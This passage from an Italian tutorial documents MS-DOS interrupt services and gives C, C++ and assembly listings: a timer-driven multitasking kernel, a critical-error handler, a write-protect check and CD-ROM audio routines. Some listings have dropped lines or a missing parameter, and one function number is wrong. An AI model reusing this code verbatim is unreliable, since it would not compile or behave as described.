            al = subfunction
            bl = drive
            bx = handle
            cx = bytes
      out:  cf = error
            ax = bytes or return code
            dx = control data bits

DOS2 - DUPLICATE FILE HANDLE - dos_func
      in:   ah = dup [45]
            bx = handle
      out:  cf = error
            ax = handle or return code (see mkdir)

DOS2 - FORCE FILE HANDLE DUPLICATION - dos_func
      in:   ah = cdup [46]
            bx = first handle
            cx = second handle
      out:  ax = return code (see mkdir)
            cx = handle

DOS2 - GET CURRENT DIRECTORY - dos_func
      in:   ah = get_dir [47]
            dl = drive
           ds:si = buffer pointer
      out:  cf = error
           ds:si = path name

DOS2 - ALLOCATE MEMORY - dos_func
      in:   ah = allocate [48]
            bx = paragraphs
      out:  cf = error
            ax = return code (see mkdir)
            bx = largest block size available
```

```
DOS2 - FREE MEMORY - dos_func
      in:   ah = free [49]
            es = return segment block
      out:  ax = return code (see mkdir)

DOS2 - MODIFY ALLOCATED MEMORY BLOCK - dos_func
      in:   ah = set_block [4A]
            bx = paragraphs
            es = block segment address
      out:  ax = return code (see mkdir)
            bx = maximum size

DOS2 - LOAD/EXECUTE PROGRAM - dos_func
      in:   ah = exec [4B]
            al = subfunction
         ds:dx = ASCIIZ pointer
         es:bx = control block pointer
      out:  ax = return code

DOS2 - TERMINATE PROCESS - dos_func
      in:   ah = term_proc [4C]
            al = return code (sets ERRORLEVEL)
      out:  none

DOS2 - GET SUBPROGRAM RETURN CODE - dos_func
      in:   ah = get_code [4D]
      out:  al = return code (as set by term_proc [4C])
            ah = termination code
                  00 = normal voluntary termination
                  01 = termination by DOS due to CTRL-BREAK
                  02 = termination by DOS due to critical device error
                  03 = voluntary termination due to keep [31]

DOS2 - FIND FIRST FILE MATCH - dos_func
      in:   ah = find_first [4E]
            cx = file attribute (see create)
         ds:dx = ASCIIZ pointer
      out:  ax = return code (see mkdir)

DOS2 - FIND NEXT FILE MATCH - dos_func
      in:   ah = find_next [4F]
         ds:dx = info from find_first pointer
      out:  ax = return code (see mkdir)

DOS2 - GET FILE WRITE VERIFY STATE - dos_func
      in:   ah = get_verify [54]
      out:  al = verify state
                  00 = off
                  01 = on

DOS2 - RENAME FILE - dos_func
      in:   ah = rename [56]
         ds:dx = old ASCIIZ pointer
         es:di = new ASCIIZ pointer
      out:  ax = return code (see mkdir)

DOS2 - GET/SET FILE DATE/TIME - dos_func
      in:   ah = date_time [57]
            al = get/set switch
                  00 = get
                  01 = set
            bx = handle
```

```
            cx = time
            dx = date
      out:  ax = return code (see mkdir)
            cx = time
            dx = date

DOS3 - GET EXTENDED RETURN CODE - dos_func
      in:   ah = get_err [59]
            bx = version code (0000 = DOS3)
      out:  ax = return code
            bh = error class
            bl = action
            ch = locus

DOS3 - CREATE TEMPORARY FILE - dos_func
      in:   ah = create_temp [5A]
           ds:dx = pathname pointer
            cx = file attribute (see create)
      out:  cf = error
            ax = return code (see mkdir)
           ds:dx = pathname pointer

DOS3 - CREATE NEW FILE - dos_func
      in:   ah = create_new [5B]
           ds:dx = filename pointer
            cx = file attribute (see create)
      out:  cf = error
            ax = handle or return code (see mkdir)

DOS3 - LOCK/UNLOCK FILE ACCESS - dos_func
      in:   ah = file_lock [5C]
            al = switch
                  00 = lock
                  01 = unlock
            bx = handle
           cx:dx = offset
           si:di = amount
      out:  ax = return code (see mkdir)

DOS3 - GET PROGRAM SEGMENT PREFIX ADDRESS - dos_func
      in:   ah = get_psp [56]
      out:  bx = PSP segment address


dos_rd_abs  DOS ABSOLUTE DISK READ SERVICE [int 25]
      in:   cx = sectors
            dx = start sector
           ds:bx = data pointer
      out:  cf = error
            al = return code
                  00 = write protected
                  01 = invalid drive
                  02 = drive not ready
                  04 = CRC error
                  06 = seek error
                  07 = invalid format
                  08 = sector not found
                  0A = write error
                  0B = read error
                  0C = nonspecific error
            ah = return code
                  00 = other error
                  02 = bad address mark
```

```
                  03 = write protected
                  04 = bad sector
                  08 = DMA failure
                  10 = bad CRC
                  20 = controller failure
                  40 = bad seek
                  80 = timeout


dos_wr_abs  DOS ABSOLUTE DISK WRITE SERVICE [int 26]
      in:   cx = sectors
            dx = start sector
           ds:bx = data pointer
      out:  cf = error
            ax = return code (see dos_rd_abs)


dos_term_res      DOS TERMINATE RESIDENT SERVICE [int 27]


dos_spool   DOS PRINT SPOOLER SERVICES [int 2F]

INSTALLED QUERY - dos_spool
      in:   al = spool_query [00]
      out:  al = return code
                  00 = not installed but may be
                  01 = not installed and may not be
                  FF = is installed

SUBMIT FILE - dos_spool
      in:   al = spool_submit [01]
           ds:dx = submit packet pointer
                  byte 0 = level code
                  bytes 1 - 4 = ASCIIZ pointer (NO wildcards)
      out:  none

CANCEL FILE - dos_spool
      in:   al = spool_cancel [02]
           ds:dx = ASCIIZ pointer (wildcards OK)
      out:  none

CANCEL ALL FILES - dos_spool
      in:   al = spool_canall [03]
      out:  none

EXAMINE QUEUE - dos_spool
      in:   al = spool_queue [04]
      out:  ds:dx = filename list pointer

NULL - dos_spool
      in:   al = spool_null [05]
      out:  none
```

Nel capitolo legato alla teoria dell’assembler sono riportate altre funzioni d’interrupts legate alla gestione della memoria in modo protetto.

INTERRUPT PARTICOLARI

Come dicevo inizialmente in questo capitolo, gli interrupts possono essere suddivisi in tre tipi: hardware, software e di tabella.
Un interrupt particolare, di cui abbiamo riportato anche dei sorgenti d'esempio, è l'interrupt di timer hardware il quale a sua volta ne richiama uno software.
Questo è la base di tutti i software multitasking.
Con il sistema multitasking di Windows oggi esiste la possibiltà di creare processi concorrenti anche soltanto usando il messaggio di timer di Windows.
In ogni caso è possibile creare dei sistemi multitasking con pochissimo codice.
Il seguente listato mostra appunto come è possibile creare uno pseudo sistema multitasking.

Tasking.hpp

```
typedef void (*func_ptr)(void);
/* this is used for interrupt handler to call old interrupt handler */
/* this is a far pointer to a function */
typedef void (far *far_func_ptr)(void);

/* this is how the registers will look on the stack for a task */
/* after they have been saved for a task switch. the sp and ss */
/* registers will point to this when a task is started from the */
/* interrupt handler or save_image */

typedef struct task_image{
      unsigned int bp;
      unsigned int di;
      unsigned int si;
      unsigned int ds;
      unsigned int es;
      unsigned int dx;
      unsigned int cx;
      unsigned int bx;
      unsigned int ax;
      unsigned int ip;
      unsigned int cs;
      unsigned int flags;
}task_image;

/* a task object. contains information needed by task_control object */
/* to do task switching and a pointer to the task's workspace (stack) */

class task{
      private:
            friend class task_control;  // task_control object needs access
            friend class signal;        // signal needs access to next_task
            task_image far *stack_ptr;  // task stack ("image") pointer
            unsigned char task_state;   // task state flag
            unsigned char *workspace;   // address of allocated task stack
            task *next_task;            // pointer to next task in queue
      public:
            task(func_ptr func,unsigned int workspace_size); // constructor
            ~task();
      // destructor
};


/* this is a queue for tasks */
/* it is called signal so user can define a signal for task communication */
```

```
class signal{
      private:
            friend class task_control;   // task_control needs access
            task *head;
            task *tail;
            task *get_task_q(void);      // get next task off of queue
            void put_task_q(task *tptr); // append task to queue
      public:
            signal(void){head=tail=0;};  // constructor
};




/* task_control object */
/* routines and methods to interface with and control tasks */
/* this object will initialize and restore interrupt vectors, */
/* keep track of timer ticks, and switch execution between the */
/* task objects */

class task_control{
      private:
            signal ready_q;              // queue of tasks ready to run
            task *current_task;          // current active task
            task_image far *old_stack_ptr;      // return to this stack when done
            unsigned int task_running;   // task switching enabled flag
            unsigned long timer_ticks;   // 18.2 ticks/second
            unsigned int task_lock;      // lock out task switching
            task_image far *task_switch(task_image far *stk_ptr,
                                                               unsigned int flag,
                                                               signal *sig);
      public:
            task_control(void);                // constructor
            void add_new_task(task *new_task); // add new task object to ready q
            void start_tasks(void);           // start switching tasks on
ready_q
            void stop_tasks(void){task_running=0;};
            unsigned long get_timer_ticks(void){return(timer_ticks);};
            void lock(void){task_lock=1;};         // current task can not be
switched
            void unlock(void){task_lock=0;};    // allow task switching
            void send(signal *sig);             // put task from sig q on ready
q
            void wait(signal *sig);             // put task on sig q
            void block(void);                   // task allows next to run
};
```

```
task.cpp

/* this file implements the methods used by task_control and task */
/* objects */

#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <int.h>
#include "task.hpp"

/* task states */
#define     TASK_INACTIVE     0
```

```
#define     TASK_ACTIVE       1
#define TASK_READY      2
#define     TASK_WAITING      3
#define TASK_ERROR      0xff

/* flags for interface routines */
#define     TASK_TIMER_INTR   0
#define     TASK_SEND         1
#define     TASK_WAIT         2
#define TASK_BLOCK            3

/* system timer interrupt or "timer tick" */
#define TIMER_INT       8

/* routines we need from timer.asm */
unsigned int getCS(void);
extern void timer_handler(void);
extern void save_image(unsigned int flag,signal *sig);

/* global for timer_handler to call old interrupt routine */
far_func_ptr old_timer_handler;

/* this is really ugly. */
/* when constructor for task_control object is called we save the */
/* this pointer for task switch routine to call our task_control object */
/* task_switch. this means we can only have 1 task_control object. sorry */
task_control *gl_tptr;

/* constructor for a new task. workspace will be the stack space for */
/* the task. when the timer interrupt happens the tasks "image" */
/* is saved on the stack for use later and the task_image *stack_ptr */
/* will point to this image */

task::task(func_ptr func,unsigned int workspace_size)
{
      task_image *ptr;

      /* get stack or "workspace" for task */
      if((workspace=(unsigned char *)malloc(workspace_size))==NULL){
            task_state=TASK_ERROR;  // do not let this one run
            return;
      }

      /* now we must set up the starting "image" of the task registers */
      /* ptr will point to the register image to begin task */
      ptr=(task_image *)(workspace+workspace_size-sizeof(task_image));

      /* now save the pointer to the register image */
      stack_ptr=MK_FP(getDS(),(unsigned int)ptr);

      ptr->ip=(unsigned int)func; // offset of pointer to task code
      ptr->cs=getCS();            // segment of pointer to task, compiler bug
      ptr->ds=getDS();
      ptr->flags=0x200;     // flags, interrupts on
      task_state=TASK_INACTIVE;   // task is inactive
      next_task=0;

/* destructor for a task object */

task::~task(void)
{
      free(workspace);
```

```
}

/* get the next task off of a task queue */

task *signal::get_task_q(void)
{
      task *temp;

      temp=head;
      if(head)
            head=head->next_task;
      return(temp);
}

/* append a task to the end of a task queue */

void signal::put_task_q(task *tptr)
{
      if(head)
            tail->next_task=tptr;
      else
            head=tptr;
      tail=tptr;
      tptr->next_task=0;
}

/* constructor for task_control */
/* inits private stuff for task control */

task_control::task_control(void)
{
      gl_tptr=this;
      task_running=0;
      current_task=0;
      timer_ticks=0L;
      task_lock=0;
}

/* adds a task to the task ready_q */
/* call this routine after creating a task object */

void task_control::add_new_task(task *new_task)
{
      if(new_task->task_state!=TASK_ERROR){
            new_task->task_state=TASK_READY;
            ready_q.put_task_q(new_task);
      }
}

/* call to start up tasks after you have created some */
/* and added them to the ready_q */

void task_control::start_tasks(void)
{
      unsigned int offset,segment;

      task_running=1;
      /* get address of old timer interrupt handler */
      int_getvector(TIMER_INT,&offset,&segment);
      old_timer_handler=(far_func_ptr)(MK_FP(segment,offset));
      /* set up our new timer interrupt handler */
      int_setvector(TIMER_INT,(unsigned int)timer_handler,getCS());
```

```
      /* tasks will now start running */
      while(task_running)
            ; // do nothing, trick to wait for tasks to start up
      /* falls through to here when multi-tasking is turned off */
}

/* gets the next task off of sig queue and puts it */
/* on the ready_q. this suspends operation of the calling */
/* task which is also put on the ready queue */

void task_control::send(signal *sig)
{
      save_image(TASK_SEND,sig);
}

/* puts the calling task on the sig queue to wait for a signal */

void task_control::wait(signal *sig)
{
      save_image(TASK_WAIT,sig);
}

/* this causes the current task to be placed on the ready queue */
/* and a switch to the next task on the ready_q */

void task_control::block(void)
{
      save_image(TASK_BLOCK,(signal *)0);
}

/* this routine is called to do a task switch. it is */
/* passed a task_image far * to the current stack or task "image". */
/* also pass a flag (described above) and a signal pointer if needed. */
/* a task_image * to the "image" of the next task is returned */

task_image far *task_control::task_switch(task_image far *stk_ptr,
                                                                 signal
*sig)
{
      task_image far *temp;
      task *tptr;

      if(flag==TASK_TIMER_INTR)  // increment clock if it is a timer interrupt
            timer_ticks++;

      /* this saves a pointer to stack when we first start multi-tasking */
      /* allows us to return to where start_tasks was called */
      if(!current_task){  // no current task so save state for restoring
            old_stack_ptr=stk_ptr;  // save stack pointer
            current_task=ready_q.get_task_q(); // set up a current task
      }

      /* we have an active task, so do task switch if we can */
      if(current_task->task_state==TASK_ACTIVE){
            current_task->stack_ptr=stk_ptr;  // save stack pointer
            current_task->task_state=TASK_READY; // task is ready to go
            /* do not allow task switching if tasks are locked and */
            /* it is timer interrupt */
            if(!task_lock || flag!=TASK_TIMER_INTR){
                  /* check and see what caused task_switch to be called */
                  switch(flag){
                        case TASK_WAIT:
```

```
                              current_task->task_state=TASK_WAITING;
                              sig->put_task_q(current_task);
                              break;
                        case TASK_SEND:
                              if((tptr=sig->get_task_q())!=0)
                                    ready_q.put_task_q(tptr);
                              // fall through
                        case TASK_BLOCK:
                        case TASK_TIMER_INTR:
                              current_task->task_state=TASK_READY;
                              /* put old task on ready queue */
                              ready_q.put_task_q(current_task);
                              break;
                  }
                  /* get next task to go */
                  current_task=ready_q.get_task_q();
            }
      }

      /* if we are still multi-tasking, get task ready to run */
      if(task_running){
            current_task->task_state=TASK_ACTIVE;
            temp=current_task->stack_ptr; // get stack pointer of task
      }
      /* multi-tasking has stopped, get ready to return where we started */
      else{                         // someone called stop_tasks
            int_setvector(TIMER_INT,FP_OFF(old_timer_handler),
                                    FP_SEG(old_timer_handler));
            temp=old_stack_ptr;     // get back original stack
      }
      /* return far pointer to stack_image to do task switch */
      return(temp);
}
```

```
timer.asm

;*****************************************************************************
;     TIMER.ASM
;     by Tom Green
;     Timer interrupt handler
;     Timer interrupt handler calls original handler first and then calls the
;     task_control object task switcher. a pointer to the stack "image"
;     of the new task is returned by the task switcher.
;     getCS
;     returns current code segment
;     save_image
;     saves "image" of task as if interrupt had happened and then calls the
;     task_control object task switcher. a pointer to the stack "image"
;     of the new task is returned by the task switcher.
;*****************************************************************************

      .MODEL SMALL
      .8086

      .DATA

extrn _old_timer_handler:dword
extrn _gl_tptr:word
extrn __task_control_task_switch:near

      .CODE
```

```
;*************************************************************************
;     unsigned int getCS(void) - returns current code segment.
;     this is needed because of compiler bug. when a function is cast
;     to a far function, and you try to get the segment, DS is returned
;     instead of CS.
;*************************************************************************
_getCS      proc  near
public      _getCS
            mov         ax,cs
            ret
_getCS      endp

;*************************************************************************
;     timer_handler - this replaces the MS-DOS timer tick interrupt (8H).
;     this routine saves everything on stack, calls original timer interrupt
;     handler, and then calls task_control object task switcher.
;*************************************************************************
_timer_handler    proc  near
public      _timer_handler
            push  ax                        ;save everything
            push  bx
            push  cx
            push  dx
            push  es
            push  ds
            push  si
            push  di
            push  bp
            mov         bp,dgroup
            mov   ds,bp         ;get our data segment back
            pushf
            call  dword ptr dgroup:_old_timer_handler  ;call original handler
            sti
            xor         dx,dx
            mov         ax,ss
            mov         bx,sp
            push  dx            ;push 0 for last 2 parameters
            push  dx          ;meaning timer interrupt
            push  ax
            push  bx
            mov         dx,_gl_tptr   ;push hidden pointer for C++ object
            push  dx
;stack is now set up for call to task_control object task_switch
            cli                   ;turn off interrupts for task switch
            call  __task_control_task_switch
;no need to clean up the stack because it will change
            sti
            mov         ss,dx ;new ss returned in dx
            mov         sp,ax ;new sp returned in ax
            pop         bp    ;restore registers
            pop         di
            pop         si
            pop         ds
            pop         es
            pop         dx
            pop         cx
            pop         bx
            pop         ax
            iret
_timer_handler    endp
```

```
;     void save_image(unsigned int flag,signal *sig) - send, wait, block
;     etc. all call through here to save the "image" of the task. this
;     code simulates what will happen with an interrupt by saving the task
;     image on the stack. the flag passed is passed on to the task_control
;     object task switcher so it knows if it was called by the timer
;     interrupt handler, send, wait, block, etc. the second parameter
;     is a signal pointer which is used by send and wait and is passed
;     through to the task switcher.
;***************************************************************************
_save_image       proc  near
public      _save_image
;since this is a C call we can destroy some registers (ax bx cx dx),
;so now we will set up the stack as if an interrupt call had happened.
;leave parameters on stack, because calling routine will adjust on
;return. bx and cx will have the parameters that were passed.
            pop         ax    ;get return address offset on stack
            pop         bx    ;get first parameter off stack
            pop         cx    ;get second parameter off stack
            push  cx          ;put them back on stack
            push  bx
            pushf             ;save flags for iret
            mov         dx,cs ;get code segment
            push  dx          ;save code segment for return address
            push  ax          ;push saved return address offset
            push  ax          ;save everything
            push  bx
            push  cx
            push  dx
            push  es
            push  ds
            push  si
            push  di
            push  bp
            sti
            mov         ax,sp ;stack pointer parameter
            push  cx          ;second parameter passed
            push  bx          ;first parameter passed
            mov         bx,ss
            push  bx          ;far pointer to stack, parameter passed
            push  ax
            mov         ax,_gl_tptr  ;push hidden pointer for C++ object
            push  ax
;stack is now set up for call to task_control object task_switch
            cli               ;turn off interrupts for task switch
            call  __task_control_task_switch
;no need to clean up the stack because it will change
            sti
            mov         ss,dx       ;new ss returned in dx
            mov         sp,ax       ;new sp returned in ax
            pop         bp          ;restore registers
            pop         di
            pop         si
            pop         ds
            pop         es
            pop         dx
            pop         cx
            pop         bx
            pop         ax
            iret
_save_image       endp

            end
```

Infine con questo sorgente è possibile testare il multitasking precedente.
taskdemo.cpp

```
/* this file is a demonstration of how to use the C++ multi-tasking */
/* kernel. 5 tasks are run and the various means of task switching */
/* and communication are shown */

/* you must have the Zortech C++ compiler version 1.5 and linker and */
/* Microsoft MASM 5.xx to compile this code. */
/* type "ztc taskdemo task timer" and the ztc.com will take */
/* care of compiling, assembling, and linking */

#include <stdio.h>
#include <disp.h>
#include "task.hpp"

void task0(void);
void task1(void);
void task2(void);
void task3(void);
void task4(void);

/* our task_control object (just 1 please) */
task_control tasker;

void main(void)
{
	/* task objects */
	task t0((func_ptr)task0,1024);
	task t1((func_ptr)task1,1024);
	task t2((func_ptr)task2,1024);
	task t3((func_ptr)task3,1024);
	task t4((func_ptr)task4,1024);

	/* add task objects to our task_control object ready q */
	tasker.add_new_task(&t0);
	tasker.add_new_task(&t1);
	tasker.add_new_task(&t2);
	tasker.add_new_task(&t3);
	tasker.add_new_task(&t4);

	/* use zortech display package */
	disp_open();
	disp_move(0,0);
	disp_eeop();

	/* start tasks up and wait for them to finish */
	tasker.start_tasks();

	disp_move(0,0);
	disp_eeop();
	disp_close();
}

static unsigned long counter[]={0L,0L,0L,0L,0L};
static signal sig;

/* task 0 prints the values of the counters for the other 4 tasks. */
/* lock is used to prevent task switching while the screen is being */
/* updated. when the task is finished, block is called to transfer */
```

```
/* control to the next task on the ready q */

void task0(void)
{
	while(1){
		/* disable task switching */
		tasker.lock();
		disp_move(5,10);
		disp_printf("Task 1  %lx",counter[1]);
		disp_move(5,50);
		disp_printf("Task 2  %lx",counter[2]);
		disp_move(15,10);
		disp_printf("Task 3  %lx",counter[3]);
		disp_move(15,50);
		disp_printf("Task 4  %lx",counter[4]);
		/* if key pressed then stop the kernel and return */
		if(kbhit())
			tasker.stop_tasks();
		/* re-enable task switching */
		tasker.unlock();
		/* let next task run */
		tasker.block();
	}
}

/* tasks 1 and 2 just update counters. these tasks will run until */
/* a timer interrupt occurs, so they get a very large chunk of time */
/* to run, so the counters increase rapidly */

void task1(void)
{
	while(1){
		counter[1]++;
	}
}

void task2(void)
{
	while(1){
		counter[2]++;
	}
}

/* task 3 waits for a signal from task 4 each time the counter is */
/* incremented. when a task waits, it is put on a signal q and the */
/* next task on the ready q is run. this means task 3 and 4 counters */
/* will increment very slowly. in task 4 when a signal is sent, the */
/* task signal q is checked for a task to put on the ready q. the task */
/* sending the signal is then placed on the ready q */

void task3(void)
{
	while(1){
		counter[3]++;
		/* wait for a signal from task 4 */
		tasker.wait(&sig);
	}
}

void task4(void)
{
	while(1){
```

```
            counter[4]++;
            /* send signal to task 3 */
            tasker.send(&sig);
      }
}
```

INT 24H - CRITICAL ERROR HANDLER

Quando il sistema operativo cerca di accedere ad una periferica hardware è questa genera un errore viene chiamato l’int 24h che generalmente crea un messaggio del tipo :

"Disk Error, (A)bort (R)etry (F)ail"...

oppure

"Abort, Retry, Ignore"

Il seguente listato permette d’intercettare l’int24h.

```
#include <bios.h>
#include <dos.h>
#include <stdio.h>

#define CRIT_ERROR_HANDLER (0x24)

/** FUNCTION PROTOTYPES **/
void install_24(void);
void uninstall_24(void);
void interrupt handle_24 (unsigned bp, unsigned di, unsigned si,
                    unsigned ds, unsigned es, unsigned dx,
                    unsigned cx, unsigned bx, unsigned ax);
void fastprintz(int x, int y, int attr, char *s);
int getbioskey(void);

void interrupt (*oldvect)();
unsigned scr;                      /* The segment where the screen is */

/** install_24
 **
 ** Installs the fancy interrupt handler.
 **/

void install_24(void)
{
      oldvect = getvect(CRIT_ERROR_HANDLER);   /* save old handler */
      setvect(CRIT_ERROR_HANDLER, handle_24); /* and install ours */

      /* Find out if the screen is at 0xB000 or 0xB800 */
      _AH = 0x0F;
      geninterrupt (0x10);
      if (_AL == 7)
            scr = 0xB000;
      else
            scr = 0xB800;
}


void uninstall_24(void)
```

```
{
      /* Restore old handler */
      setvect(CRIT_ERROR_HANDLER, oldvect);
}

static char screen_buf[9][52];     /* room for the saved part of screen */

void interrupt handle_24 (unsigned bp, unsigned di, unsigned si,
                    unsigned ds, unsigned es, unsigned dx,
                    unsigned cx, unsigned bx, unsigned ax)
{

      int err,key,ret=-1;
      int r,c,start;

      err = di & 0x00FF;      /* Error message, from DOS. */

      /* Save section of screen that will be overwritten */
      for (r=8; r<17; r++) {
            start = (160 * r + 54);
            for (c=0; c<26; c++) {
                  screen_buf[r-8][c*2] = peekb(scr, start++);
                  screen_buf[r-8][c*2+1] = peekb(scr, start++);
            }
      }

      /* Pop up error message */
      fastprintz( 8,27,0x07,"ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·");
      fastprintz( 9,27,0x07,"ºError!                  º");
      fastprintz(10,27,0x07,"º                        º");

      /* Common diagnosable problems */
      switch(err) {
            case 0x00:
      fastprintz(11,27,0x07,"ºDisk is write protected.º"); break;
            case 0x02:
      fastprintz(11,27,0x07,"ºDisk drive is not ready.º"); break;
            default:
      fastprintz(11,17,0x07,"ºDisk error.             º"); break;
      }

      fastprintz(12,27,0x07,"º                        º");
      fastprintz(13,27,0x07,"º Try again              º");
      fastprintz(13,29,0x0f,"T");
      fastprintz(14,27,0x07,"º Exit this program      º");
      fastprintz(14,29,0x0f,"E");

      /* In DOS 3.00 and later, they can also fail the disk access */
      if (_osmajor > 2) {
      fastprintz(15,27,0x07,"º Cancel this operation  º");
      fastprintz(15,29,0x0f,"C");
      }
      else
      fastprintz(15,27,0x07,"º                        º");

      fastprintz(16,27,0x07,"ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ½");

      /* Call BIOS to get a single keystroke from the user */
      do {
            key=getbioskey();

            if (key & 0x00FF)
```

```
                  key &= 0x00FF;

            switch(key) {
            case 't': case 'T': ret = 0x0001; break;
            case 'e': case 'E': ret = 0x0002; break;
            case 'c': case 'C': if (_osmajor > 2) ret = 0x0003; break;
            default: break;
            }

      } while (ret < 0);

      /* Restore that section of the screen */
      for (r=8; r<17; r++) {
            start = (160*r + 54);
            for (c=0; c<26; c++) {
                  pokeb(scr, start++, screen_buf[r-8][c*2]);
                  pokeb(scr, start++, screen_buf[r-8][c*2+1]);
            }
      }

      ax = ret;
/* And please don't tell me I didn't use any of those parameters. */
#pragma warn -par
}
#pragma warn .par


/* fastprintz - shove an asciz string onto the screen */
void
fastprintz(int y, int x, int attr, char *s)
{
      int i=0,base;

      base = (80*y+x)<<1;  /* determine offset into screen */
      while (s[i]!=0) {
            pokeb(scr, base++, s[i++]);
            pokeb(scr, base++, attr);
      }
}

/** getbioskey
 **
 ** get one key from the BIOS
 **
 ** Like TC bioskey(0), but doesn't nab control Break. It seems
 ** that the TC bioskey was trying to block Ctrl-Breaks, which
 ** it did by changing the Ctrl-Break handler, which it called
 ** DOS to do. This made the interrupt handler reenter DOS which
 ** is illegal.
 **/

int getbioskey(void)
{
      union REGS regs;
      struct SREGS segregs;

      segread(&segregs);
      regs.h.ah = 0;
      int86x (0x16, &regs, &regs, &segregs);
      return regs.x.ax;
}
```

INT 25H e 26H – ABSOLUTE READ AND WRITE

Il seguente programmino usa gli int 25h e 26h per vedere se il drive A è utilizzabile e se non è protetto in scrittura.

```
/********************************************************************
*  WR_PROT.C
*
*       Check to see if a drive is write protected
*
*       Uses the DOS Interupts 25H and 26H to do an absolute
*       read, then write of logical sector 0 of the drive.
*
*       resultant ERRORLEVELs:
*          2 : error accessing drive
*          1 : write protected
*          0 : writable
*/
#include <dos.h>
char buffer[2048];

int main()
{
   union REGS inregs, outregs;
   struct SREGS segregs;
   char far *bufferp;

   inregs.h.al = 0;   /* drive number 0,1 = a,b: 128,129=c,d */
   inregs.x.cx = 1;   /* sectors to read */
   inregs.x.dx = 0;   /* starting sector number */
   bufferp = buffer;
   inregs.x.bx = FP_OFF(bufferp);
   segregs.ds  = FP_SEG(bufferp);

   int86x(0x25, &inregs, &outregs, &segregs);
   if (outregs.x.cflag == 1) {
      printf("error reading drive A\n");
      return 2;
   }

   int86x(0x26, &inregs, &outregs, &segregs);
   if (outregs.x.cflag == 1) {
      printf("error writing drive A\n");
      return 1;
   }

   return 0;
}
```

INTERRUPT DI MULTIPLEXING E FUNZIONI LEGATE AL CD

Il seguente programma è tra il freeware software ed è una raccolta di routine legate alla gestione del cd.
Sono utili in molti casi in quanto sono in grado di leggere anche la lunghezza delle traccie dei cd musicali.
Le spiegazioni delle funzioni sono nelle righe di REM del programma.

```
/*                            CDROM AUDIO ROUTINES
                            By Barry Egerter
```

```
                    Written July 18, 1994

                    Using Borland C++ 3.1

              Code : FREEWARE - alter and use at will.


            Internet Email:      barry.egerter@softnet.com
*/
#include <dos.h>
#include <io.h>
#include <mem.h>
#include <fcntl.h>

#define CDROM 0x21
#define EJECT_TRAY 0
#define RESET 2
#define CLOSE_TRAY 5
#define MEDIA_CHANGE 9
#define BUSY  512
#define TRACK_MASK 208

typedef struct playinfo {
  unsigned char control;
  unsigned char adr;
  unsigned char track;
  unsigned char index;
  unsigned char min;
  unsigned char sec;
  unsigned char frame;
  unsigned char zero;
  unsigned char amin;
  unsigned char asec;
  unsigned char aframe;
};


typedef struct volumeinfo {
    unsigned char mode;
    unsigned char input0;
    unsigned char volume0;
    unsigned char input1;
    unsigned char volume1;
    unsigned char input2;
    unsigned char volume2;
    unsigned char input3;
    unsigned char volume3;
};


struct {
  unsigned short drives;
  unsigned char  first_drive;
  unsigned short current_track;
  unsigned long  track_position;
  unsigned char  track_type;
  unsigned char  low_audio;
  unsigned char  high_audio;
  unsigned char  disk_length_min;
  unsigned char  disk_length_sec;
  unsigned char  disk_length_frames;
```

```
  unsigned long    endofdisk;
  unsigned char  upc[7];
  unsigned char  diskid[6];
  unsigned long  status;
  unsigned short error;      /* See description below */
} cdrom_data;

/* CDROM_DATA.ERROR Description

  Bit 15         - Error bit
  Bit 14-10      - Reserved
  Bit  9         - Busy
  Bit  8         - Done
  Bit  7-0       - Error code (bit 15 on)

Error codes are the following:

  0  Write-protect violation
  1  Unknown unit
  2  Drive not ready
  3  Unknown command
  4  CRC error
  5  Bad drive request structure length
  6  Seek error
  7  Unknown media
  8  Sector not found
  9  Printer out of paper
  A  Write fault
  B  Read fault
  C  General failure
  D  Reserved
  E  Reserved
  F  Invalid disk change
*/


/*   Multiplex Interrupt routines
     "borrowed" from Ralf Brown's MSDOS Interrupt List v4.1

INT 21 - CD-ROM device driver - IOCTL INPUT
      AX = 4402h
      BX = file handle referencing character device for CD-ROM driver
      CX = number of bytes to read
      DS:DX -> control block (see #0563)
Return: CF clear if successful
          AX = number of bytes actually read
      CF set on error
          AX = error code (01h,05h,06h,0Dh) (see #0770 at AH=59h)
Note: the data returned depends on the first byte of the control block; the
        remainder of the control block is filled by the driver
SeeAlso: AX=4403h"CD-ROM",INT 2F/AX=0802h

(Table 0562)
Values for CD-ROM data being requested:
 00h  device driver header address
 01h  drive head location
 02h  reserved
 03h  error statistics
 04h  audio channel info
 05h  raw drive bytes (uninterpreted and device-specific)
 06h  device status
 07h  sector size
```

```
 08h  volume size
 09h  media change status
 0Ah  audio disk info
 0Bh  audio track info
 0Ch  audio Q-Channel info
 0Dh  audio sub-channel info
 0Eh  UPC code

Format of CD-ROM control block:
Offset      Size  Description (Table 0563)
 00h  BYTE  data being requested (see #0562)
---function 00h---
 01h  DWORD device driver header address (see also AH=52h)
---function 01h---
 01h  BYTE  addressing mode
            00h HSG
            01h Red Book
 02h  DWORD current location of drive's head
            logical sector number in HSG mode
            frame/second/minute/unused in Red Book mode
            (HSG sector = minute * 4500 + second * 75 + frame - 150)
---function 03h---
 01h  N BYTEs     undefined as of 5 Aug 88 specification
---function 04h---
 01h  BYTE  input channel (0-3) for output channel 0
 02h  BYTE  volume for output channel 0
 03h  BYTE  input channel (0-3) for output channel 1
 04h  BYTE  volume for output channel 1
 05h  BYTE  input channel (0-3) for output channel 2
 06h  BYTE  volume for output channel 2
 07h  BYTE  input channel (0-3) for output channel 3
 08h  BYTE  volume for output channel 3
Notes:      output channels 0 and 1 are left and right, 2 and 3 are left prime
and
        right prime; a volume of 00h is off
      the default setting is for each input channel to be assigned to the
        same-numbered output channel at full (FFh) volume
---function 05h---
 01h  BYTE  number of bytes read
 02h 128 BYTEs    buffer for drive bytes
---function 06h---
 01h  DWORD device parameters (see #0564)
---function 07h---
 01h  BYTE  read mode
            00h cooked
            01h raw
 02h  WORD  sector size in bytes
---function 08h---
 01h  DWORD volume size in sectors
---function 09h---
 01h  BYTE  media change status
            00h don't know
            01h media unchanged
            FFh media has been changed
---function 0Ah---
 01h  BYTE  lowest audio track number
 02h  BYTE  highest audio track number
 03h  DWORD start address of lead-out track (Red Book format)
--function 0Bh---
 01h  BYTE  track number (set by caller)
 02h  DWORD starting point of track (Red Book format)
 06h  BYTE  track control info
```

```
            bits 15,14,12: track type (notice: bits not contiguous!)
                  000 two audio channels, no pre-emphasis
